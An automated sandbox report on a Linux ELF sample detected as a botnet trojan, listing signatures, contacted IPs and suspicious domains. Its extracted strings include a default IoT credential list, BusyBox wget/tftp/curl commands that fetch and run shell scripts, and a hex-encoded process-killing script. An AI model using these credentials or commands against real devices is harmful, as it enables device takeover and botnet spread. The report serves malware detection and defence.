Linux Analysis Report
spc.elf

Overview

General Information

Sample name: spc.elf
Analysis ID: 1540507
MD5: 3c9a45fd23e62bf427f64d804b89a55d
SHA1: c22714ad7855e841a916819f72769092dbb98247
SHA256: 945fcc1bb0b11bfe2453604fedadf8ac46b68f15c04bcdbffe8003af41d7b809
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 64
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: spc.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: spc.elf ReversingLabs: Detection: 34%
Found strings indicative of a multi-platform dropper
Source: spc.elf String: ash|login|wget|curl|tftp|ntpdate
Source: spc.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//maps/lib//dev/watchdog/dev/misc/watchdog
Source: spc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 38.54.122.172 ports 2,3,6,7,27651,8,32876
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 21savage.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: imaverygoodbadboy.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: ru.coziest.lol. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:39954 -> 38.54.122.172:32876
Source: global traffic TCP traffic: 192.168.2.23:46696 -> 103.253.147.242:23789
Sample listens on a socket
Source: /tmp/spc.elf (PID: 6251) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 151.228.159.171
Source: unknown TCP traffic detected without corresponding DNS query: 151.228.159.171
Source: unknown TCP traffic detected without corresponding DNS query: 202.122.47.160
Source: unknown TCP traffic detected without corresponding DNS query: 202.122.47.160
Source: unknown TCP traffic detected without corresponding DNS query: 39.228.225.214
Source: unknown TCP traffic detected without corresponding DNS query: 39.228.225.214
Source: unknown TCP traffic detected without corresponding DNS query: 83.176.8.71
Source: unknown TCP traffic detected without corresponding DNS query: 135.219.19.177
Source: unknown TCP traffic detected without corresponding DNS query: 102.228.0.144
Source: unknown TCP traffic detected without corresponding DNS query: 83.176.8.71
Source: unknown TCP traffic detected without corresponding DNS query: 73.46.151.101
Source: unknown TCP traffic detected without corresponding DNS query: 135.219.19.177
Source: unknown TCP traffic detected without corresponding DNS query: 79.96.43.177
Source: unknown TCP traffic detected without corresponding DNS query: 102.228.0.144
Source: unknown TCP traffic detected without corresponding DNS query: 153.13.154.45
Source: unknown TCP traffic detected without corresponding DNS query: 73.46.151.101
Source: unknown TCP traffic detected without corresponding DNS query: 171.42.218.155
Source: unknown TCP traffic detected without corresponding DNS query: 79.96.43.177
Source: unknown TCP traffic detected without corresponding DNS query: 176.222.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 153.13.154.45
Source: unknown TCP traffic detected without corresponding DNS query: 124.153.206.224
Source: unknown TCP traffic detected without corresponding DNS query: 171.42.218.155
Source: unknown TCP traffic detected without corresponding DNS query: 207.80.8.131
Source: unknown TCP traffic detected without corresponding DNS query: 176.222.42.16
Source: unknown TCP traffic detected without corresponding DNS query: 124.153.206.224
Source: unknown TCP traffic detected without corresponding DNS query: 174.57.195.136
Source: unknown TCP traffic detected without corresponding DNS query: 207.80.8.131
Source: unknown TCP traffic detected without corresponding DNS query: 19.46.129.64
Source: unknown TCP traffic detected without corresponding DNS query: 174.57.195.136
Source: unknown TCP traffic detected without corresponding DNS query: 96.96.103.234
Source: unknown TCP traffic detected without corresponding DNS query: 19.46.129.64
Source: unknown TCP traffic detected without corresponding DNS query: 96.96.103.234
Source: unknown TCP traffic detected without corresponding DNS query: 201.199.153.227
Source: unknown TCP traffic detected without corresponding DNS query: 39.45.239.219
Source: unknown TCP traffic detected without corresponding DNS query: 49.173.213.249
Source: unknown TCP traffic detected without corresponding DNS query: 201.199.153.227
Source: unknown TCP traffic detected without corresponding DNS query: 77.67.249.209
Source: unknown TCP traffic detected without corresponding DNS query: 39.45.239.219
Source: unknown TCP traffic detected without corresponding DNS query: 84.172.67.204
Source: unknown TCP traffic detected without corresponding DNS query: 76.205.154.140
Source: unknown TCP traffic detected without corresponding DNS query: 49.173.213.249
Source: unknown TCP traffic detected without corresponding DNS query: 61.209.208.172
Source: unknown TCP traffic detected without corresponding DNS query: 77.67.249.209
Source: unknown TCP traffic detected without corresponding DNS query: 7.179.165.136
Source: unknown TCP traffic detected without corresponding DNS query: 84.172.67.204
Source: unknown TCP traffic detected without corresponding DNS query: 107.198.39.225
Source: unknown TCP traffic detected without corresponding DNS query: 76.205.154.140
Source: unknown TCP traffic detected without corresponding DNS query: 61.209.208.172
Source: unknown TCP traffic detected without corresponding DNS query: 88.62.4.79
Source: global traffic DNS traffic detected: DNS query: imaverygoodbadboy.libre
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: DNS query: 21savage.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: 75cents.libre
Source: global traffic DNS traffic detected: DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: imaverygoodbadboy.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: f.codingdrunk.
Source: global traffic DNS traffic detected: DNS query: ru.coziest.lol. [malformed]
Source: global traffic DNS traffic detected: DNS query: nineteen.libre
Source: spc.elf String found in binary or memory: http:///curl.sh
Source: spc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal64.troj.linELF@0/0@27/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/spc.elf (PID: 6251) Queries kernel information via 'uname': Jump to behavior
Source: spc.elf, 6251.1.0000559778dee000.0000559778e79000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: spc.elf, 6251.1.0000559778dee000.0000559778e79000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: spc.elf, 6251.1.00007fff62b31000.00007fff62b52000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/spc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/spc.elf
Source: spc.elf, 6251.1.00007fff62b31000.00007fff62b52000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
79.191.197.121
 unknown Poland
5617 TPNETPL false
179.96.100.97
 unknown Brazil
28329 G8NETWORKSLTDABR false
99.216.182.109
 unknown Canada
812 ROGERS-COMMUNICATIONSCA false
79.67.224.250
 unknown United Kingdom
9105 TISCALI-UKTalkTalkCommunicationsLimitedGB false
177.44.92.205
 unknown Brazil
28202 RedeBrasileiradeComunicacaoLtdaBR false
212.99.45.164
 unknown France
12670 AS-COMPLETELFR false
205.24.240.69
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
201.184.41.14
 unknown Colombia
13489 EPMTelecomunicacionesSAESPCO false
158.71.31.186
 unknown United States
26810 HHSNET-NOC-ASNUS false
152.45.134.34
 unknown United States
81 NCRENUS false
190.12.192.55
 unknown Argentina
22724 PUNTONETSAEC false
155.167.205.83
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
152.111.42.241
 unknown South Africa
10474 OPTINETZA false
22.184.0.36
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
8.246.98.142
 unknown United States
202818 LEVEL3COMMUNICATIONSFR false
130.70.248.37
 unknown United States
22985 UL-LAFAYETTE-1US false
68.250.23.34
 unknown United States
7018 ATT-INTERNET4US false
8.20.144.60
 unknown United States
35873 MOVE-NETWORKSUS false
78.176.24.200
 unknown Turkey
9121 TTNETTR false
219.91.212.134
 unknown India
18207 YOU-INDIA-APYOUBroadbandCableIndiaLtdIN false
64.230.214.195
 unknown Canada
577 BACOMCA false
213.132.8.136
 unknown Denmark
20618 DK-INFO-CONNECTDK false
172.48.74.221
 unknown United States
21928 T-MOBILE-AS21928US false
66.154.168.134
 unknown United States
36683 CASCADE-TECHNOLOGYUS false
122.179.104.228
 unknown India
24560 AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices false
17.215.102.105
 unknown United States
714 APPLE-ENGINEERINGUS false
15.117.80.83
 unknown United States
13979 ATT-IPFRUS false
58.67.80.5
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
11.64.213.140
 unknown United States
3356 LEVEL3US false
53.9.203.220
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
88.225.138.202
 unknown Turkey
9121 TTNETTR false
52.208.132.9
 unknown United States
16509 AMAZON-02US false
4.111.20.10
 unknown United States
3356 LEVEL3US false
161.32.117.161
 unknown United States
14340 SALESFORCEUS false
194.194.213.205
 unknown European Union
2686 ATGS-MMD-ASUS false
94.35.125.212
 unknown Italy
8612 TISCALI-IT false
86.175.23.200
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
50.192.53.84
 unknown United States
7922 COMCAST-7922US false
214.146.172.164
 unknown United States
721 DNIC-ASBLK-00721-00726US false
1.128.184.59
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
117.189.32.214
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
143.154.133.6
 unknown United States
385 AFCONC-BLOCK1-ASUS false
174.220.167.106
 unknown United States
22394 CELLCOUS false
186.113.206.75
 unknown Colombia
3816 COLOMBIATELECOMUNICACIONESSAESPCO false
80.124.112.18
 unknown France
15557 LDCOMNETFR false
123.85.188.8
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
143.71.84.3
 unknown United States
1488 DNIC-ASBLK-01488-01489US false
57.231.210.88
 unknown Belgium
2686 ATGS-MMD-ASUS false
195.94.17.135
 unknown Yemen
12486 TELEYEMENSanaaYE false
42.14.120.124
 unknown Korea Republic of
4249 LILLY-ASUS false
104.250.106.170
 unknown United States
38001 NEWMEDIAEXPRESS-AS-APNewMediaExpressPteLtdSG false
177.187.185.9
 unknown Brazil
26615 TIMSABR false
71.251.6.17
 unknown United States
701 UUNETUS false
50.126.183.116
 unknown United States
5650 FRONTIER-FRTRUS false
175.168.22.130
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
145.144.200.100
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
34.164.98.165
 unknown United States
2686 ATGS-MMD-ASUS false
19.113.52.11
 unknown United States
3 MIT-GATEWAYSUS false
123.142.108.124
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
49.239.169.74
 unknown Korea Republic of
4663 ELIMNET-AS-KRELIMNETINCKR false
141.178.177.177
 unknown Japan 197921 HBTFJO false
189.130.246.186
 unknown Mexico
8151 UninetSAdeCVMX false
176.197.238.18
 unknown Russian Federation
39927 ELIGHT-ASRU false
73.2.2.58
 unknown United States
7922 COMCAST-7922US false
158.245.122.176
 unknown United States
1540 DNIC-ASBLK-01534-01546US false
37.230.119.195
 unknown Russian Federation
29182 THEFIRST-ASRU false
79.67.224.209
 unknown United Kingdom
9105 TISCALI-UKTalkTalkCommunicationsLimitedGB false
176.177.37.121
 unknown France
5410 BOUYGTEL-ISPFR false
168.3.143.206
 unknown United States
8 RICE-ASUS false
157.255.17.226
 unknown China
136958 UNICOM-GUANGZHOU-IDCChinaUnicomGuangdongIPnetworkCN false
138.70.249.170
 unknown Italy
15589 ASN-CLOUDITALIAIT false
141.35.196.123
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
201.115.32.34
 unknown Mexico
8151 UninetSAdeCVMX false
132.194.168.143
 unknown United States
16519 CUDENVERUS false
158.111.22.158
 unknown United States
13611 CDCUS false
177.72.219.26
 unknown unknown
269717 RAPIDEXNETLTDABR false
126.73.1.58
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
161.197.206.232
 unknown United States
2384 AOCNETUS false
89.24.129.142
 unknown Czech Republic
13036 TMOBILE-CZ false
40.16.60.107
 unknown United States
4249 LILLY-ASUS false
23.26.72.189
 unknown United States
11798 ACEDATACENTERS-AS-1US false
182.23.50.105
 unknown Indonesia
4800 LINTASARTA-AS-APNetworkAccessProviderandInternetServic false
109.123.27.107
 unknown Slovenia
58056 KRS-NET-ASSI false
155.113.198.93
 unknown United States
11003 PANDGUS false
137.225.74.177
 unknown United States
1103 SURFNET-NLSURFnetTheNetherlandsNL false
201.166.102.54
 unknown Mexico
28554 CablemasTelecomunicacionesSAdeCVMX false
187.87.170.217
 unknown Brazil
53076 INTERPIRAINTERNETSERVICEPROVIDERLTDABR false
99.171.8.193
 unknown United States
7018 ATT-INTERNET4US false
121.22.139.161
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
83.248.197.132
 unknown Sweden
39651 COMHEM-SWEDENSE false
164.248.208.255
 unknown United States
5972 DNIC-ASBLK-05800-06055US false
177.81.91.106
 unknown Brazil
28573 CLAROSABR false
37.30.44.243
 unknown Poland
12912 TMPL false
15.23.8.34
 unknown United States
13979 ATT-IPFRUS false
102.223.5.74
 unknown unknown
37316 DTASNZA false
220.243.135.157
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
137.189.190.57
 unknown Hong Kong
3661 ERX-CUHKNETTheChineseUniversityofHongKongHK false
56.229.156.120
 unknown United States
2686 ATGS-MMD-ASUS false
46.36.20.49
 unknown Russian Federation
48642 KTEL-ASEkaterinburgRussiaRU false
168.158.200.190
 unknown United States
20012 INTERNET-HOLDINGS-ASUS false

Contacted Domains

Name IP Active
nineteen.libre 38.54.122.172 true
imaverygoodbadboy.libre 103.253.147.242 true
75cents.libre unknown unknown
f.codingdrunk. unknown unknown
eighteen.pirate. [malformed] unknown unknown
imaverygoodbadboy.libre. [malformed] unknown unknown
fortyfivehundred.dyn. [malformed] unknown unknown
21savage.dyn. [malformed] unknown unknown
www.codingdrunk.in. [malformed] unknown unknown
75cents.libre. [malformed] unknown unknown
ru.coziest.lol. [malformed] unknown unknown